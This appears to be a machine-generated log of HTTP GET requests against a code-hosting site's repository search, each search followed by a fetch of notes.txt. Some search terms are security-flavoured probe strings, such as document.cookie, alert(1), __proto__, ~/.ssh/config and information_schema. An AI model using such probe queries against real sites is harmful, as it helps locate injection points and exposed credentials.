{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
